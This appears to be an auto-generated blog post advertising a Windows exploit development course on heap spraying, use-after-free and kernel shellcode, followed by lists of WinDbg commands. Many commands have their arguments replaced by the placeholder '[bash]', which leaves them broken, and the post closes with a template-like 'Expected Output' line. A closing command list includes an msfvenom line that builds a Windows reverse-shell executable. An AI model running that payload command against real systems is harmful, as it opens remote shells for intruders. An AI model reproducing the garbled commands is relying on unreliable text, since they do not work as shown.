Windows Exploit Development Training – Advanced Kernel Exploitation & Heap Spraying Techniques

Listen to this Post

The Windows Exploit Development 2 training, scheduled for June 7, 2025, is a 40-hour deep dive into advanced Windows exploitation techniques. This course builds on Windows Exploit Development 1, focusing on kernel-level vulnerabilities, heap spraying, and Use-After-Free (UAF) exploits using WinDbg, the industry-standard debugger for Windows.

Key Topics Covered:

✔ WinDbg Fundamentals – Essential commands for exploit analysis.
✔ Windows Memory Management (Win7+) – Deep dive into kernel structures.
✔ Heap Spraying Techniques – Weaponizing heap manipulation for exploitation.

✔ Use-After-Free (UAF) Exploits – Exploiting dangling pointers.

✔ Kernel Driver Exploitation – Writing shellcode for kernel payloads.
✔ Windows Security Mechanisms – Bypassing mitigations like SMEP and KASLR.

You Should Know: Essential WinDbg Commands for Exploit Development

1. Basic WinDbg Commands

!analyze -v  Analyze crash dumps 
!peb  Display Process Environment Block 
!teb  Display Thread Environment Block 
dt nt!_EPROCESS  Display kernel process structure 

2. Heap Analysis

!heap -s  Show heap segments 
!heap -p -a [bash]  Inspect heap allocation 
!heap -flt s [bash]  Filter heap blocks by size 

3. Kernel Debugging

!process 0 0  List all processes 
!drvobj [bash]  Inspect kernel driver objects 
!vprot [bash]  Check memory protections 

4. Exploiting Use-After-Free (UAF)

g  Continue execution 
bp [bash]  Set breakpoint at target 
r  Show registers 
!pool [bash]  Inspect pool memory 

5. Shellcode Execution in Kernel

ed [bash] [bash]  Write shellcode to memory 
u [bash] L[bash]  Disassemble memory 

What Undercode Say

Windows exploit development demands mastery of WinDbg, kernel structures, and memory corruption techniques. Key takeaways:
– Heap Spraying is critical for bypassing ASLR.
– UAF Exploits rely on controlling freed memory.
– Kernel Payloads must bypass SMEP (Supervisor Mode Execution Prevention).

Essential Linux/Win Commands for Exploit Devs:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f exe > exploit.exe  Generate shellcode 
objdump -D binary | grep "call"  Find function calls in binaries 
checksec --file=target.exe  Check binary protections (PIE, NX, Canary) 

Expected Output:

A structured 40-hour training covering WinDbg, kernel exploits, and heap manipulation, with hands-on labs for real-world exploitation.
